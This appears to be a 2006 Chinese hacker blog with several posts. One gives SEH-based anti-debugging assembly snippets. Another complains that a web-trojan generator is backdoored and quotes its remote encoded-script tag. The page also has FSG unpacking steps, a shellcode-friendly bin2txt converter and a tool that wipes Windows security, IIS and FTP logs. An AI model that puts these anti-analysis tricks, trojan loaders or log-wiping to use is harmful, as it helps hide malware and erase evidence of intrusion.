-
Seh异常原理和利用
2006年06月07日
文章题目:Seh异常原理和利用
作者 :兽人
日期 :2006/05/07
目的 :Seh异常在花指令里的应用
www.8way.be首发
定义:
Seh异常就是数结构化异常处理,Win32 结构化异常处理是操作系统提供的一种服务。
在编译器的 SEH 层减少了直接使用纯操作系统的 SEH 所带来的危害的同时,也将纯
操作系统的 SEH 从大家的面前隐藏了起来。
但程序遇到Seh异常时,异常交给系统处理(这将是一个非常负责的过程,很容易跟飞),所以利用Seh异常可以一定程度的防止程序被调试。(seh异常在壳里是很常见的)
原理:
异常的基本过程(个人理解是这样):
我们来看两个实例
实例文件下载
push 00401051 //地址00401051压入堆栈
push dword ptr fs:[0] //fs[0]压入堆栈,执行完成后,fs[0]指向栈顶
mov dword ptr fs:[0],esp //构造1个err结构
mov esi,0 //简单的赋值语句
mov eax,dword ptr ds:[esi] //产生异常
(OD中异常后,按shift+F8继续运行)
------系统处理(非常复杂,可以自己跟跟看)-----------
若要跟踪,先在A地址下断点
执行后,windows检查到异常,执行线程马上被中段,从用户模式转到内核模式
控制权交到操作系统的异常调试程序(exception dispatcher),由它负责找到
处理这个异常的方法,即所有应用程序的异常最终都是由windwos来处理的,
同一个版本的windows有固定的异常处理代码.
------跳到地址A--------------------------------------
lea eax,dword ptr ss:[esp-8] //开辟8字节的空间,并把栈顶指针保存到eax
xchg dword ptr fs:[0],eax //执行完成后,fs[0]指向栈顶,eax等于原fs[0]
mov ebx,0040102B //地址ebx=0040102B
push ebx //ebx压入堆栈,即地址0040102b
push eax //fs[0]压入堆栈
mov esi,0 //简单的赋值语句
mov eax,dword ptr ds:[esi] //读取线性地址0,产生异常
(OD中异常后,按shift+F8继续运行)
------系统处理(非常复杂,可以自己跟跟看)-----------
若要跟踪,先在A地址下断点
执行后,windows检查到异常,执行线程马上被中段,从用户模式转到内核模式
控制权交到操作系统的异常调试程序(exception dispatcher),由它负责找到
处理这个异常的方法,即所有应用程序的异常最终都是由windwos来处理的,
同一个版本的windows有固定的异常处理代码.
------跳到地址A--------------------------------------
利用:
看了以上这些,我们知道,通过这一下段Seh异常代码,我们可以防止
他人跟踪,并跳到地址A(这点最重要)继续执行。我们可以把它当作jmp来使用,
具体的应用就看你们自己自由发挥了。
其他几个Seh异常代码(异常后跳到地址:********)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov esi,0
mov eax,dword ptr ds:[esi]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov ebx,0
div ebx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nop
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
int 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
nop
int 68
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
nop
vxdcall 134543
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
实例文件下载 -
关于Realplayer牛X版网页木马生成器
2006年05月28日
今天下载了个Realplayer牛X版网页木马生成器,打算做免杀的.
然后,发现index.htm的源代码很奇怪,好象是加密了,最下方调用了ENCODE过的JS文件.
http://www.wocao.net/js/wocao.ocx这个就是改了扩展名的JS文件,一样可以用.
然后我就下载了wocao.ocx文件,解了密,还是看不懂是什么意思.
过了一会,发现http://www.wocao.net/js/wocao.ocx这个地址打不开了。很奇怪.
并且http://www.wocao.net/js/这个目录也不存在,而且需要密码.
我判断,一定是www.wocao.net这个域名更新了指向的IP.指到一个普通的虚拟主机服务器上了.
当我把INDEX.HTM解密后,发现最下方有这么一段代码:
<script src=\"http://www.wocao.net/js/wocao2.ocx\" language=\"JScript.Encode\"></script>
大家注意,这里的地址http://www.wocao.net/js/wocao2.ocx和http://www.wocao.net/js/wocao.ocx这个地址很像,但不一样的。很明显,为了迷惑大家!!!~
我正准备看http://www.wocao.net/js/wocao2.ocx的内容时,才发现,www.wocao.net已经把域名指向给换了。.
日 !!
那个wocao2.ocx代码里一定加载了木马!!!!
还有,music.smi文件的SHELLCODE也有问题。本来是256个字节长度就可以触发缓冲区溢出漏洞的,结果他却把SHELLCODE弄得好大,有1.3几KB!!!!
知道这意味着什么么?很有可能在SHELLCODE里加了另一段后门代码!!
另外,根据作者BLOG上的留言评论来看,这个网马是加了后门的。口碑不好,请大家不要使用!!!
网页木马本身的逻辑也有问题。
当我把index.htm解密后,发现,INDEX.HTM根本就没调用到MUSIC.HTM文件,可生成器却说要调用,日!!!骗局!!!
不知道他搞什么名堂...
总之,一句话,这款网页木马就是垃圾,有不止一个后门!!!!
-
再谈FSG脱壳
2006年05月21日
*************************************************************
现在用得多的FSG有1.33和2.0,压缩效果也还可以
遇到FSG加壳的程序我们一般都是拿出脱壳机解决问题
不过脱壳机有时候也不好用
在这里我总结一下1.33和2.0的脱壳
给像我一样的菜鸟提供一点经验
因为FSG是压缩壳,找到OEP运行过去DUMP+修复就OK了
*************************************************************
FSG1.33
OD载入,CTRL+B搜索5655,上面紧接的转跳地址就是OEP了
CTRL+G直接到OEP,F4,然后DUMP并修复
最后就是优化一下大小
over
*************************************************************
FSG2.0
OD载入,两次F8,看右下角堆栈窗口
紧接LoadLibraryA上面的就是OEP值
CTRL+G直接到OEP,F4,然后DUMP并修复
最后就是优化一下大小
over -
bin2txt 1.0
2006年05月20日
////////////////////////////////////////////////////////////////////
bin2txt Copyright (c) 2005-2006 by noname_ph4nt0m
////////////////////////////////////////////////////////////////////
chinese--------------------------------------------------------------
Ultraedit可以把以16进制浏览任意文件
可是如果只复制16进制的数据的话操作起来有点麻烦
所以就有了这个软件
转换出来的文本格式支持C,支持汇编,也可以为bin
方便大家写inc文件
方便大家转换shellcode
方便大家修改被写为bin格式的资源
方便大家把要释放出的文件写成hex格式放在程序内部而不是资源
偏移的[Start]和[End]支持8进制,支持16进制,支持十进制
dec example : 42 (0-7开头)
hex example : 0x2a ('0x'开头)
oct example : 052 ('0'开头)
支持对64k以上文件的处理
...... -
Log Cleaner V0.1 By noname
2006年05月20日
看了WinEggDrop老大的logkiller,很是羡慕,于是偶花了一个上午写了一个差不多的
"参考"了WinEggDrop的logkiller的输出语句,希望老大不要打我
减肥以后不到3K了
很简单的小型的一个删除日志的小程序,可以删除的日志如下
1.删除"应用程序日志","安全日志"和"系统日志"
2.删除IIS,系统本身FTP服务,系统本身SMTP服务日志
3.删除计划任务日志
4.删除windir和system32下面的所有log和txt文件
使用方法:在命令行中直接运行
更新
*2006.5.10 第一个发行版本......







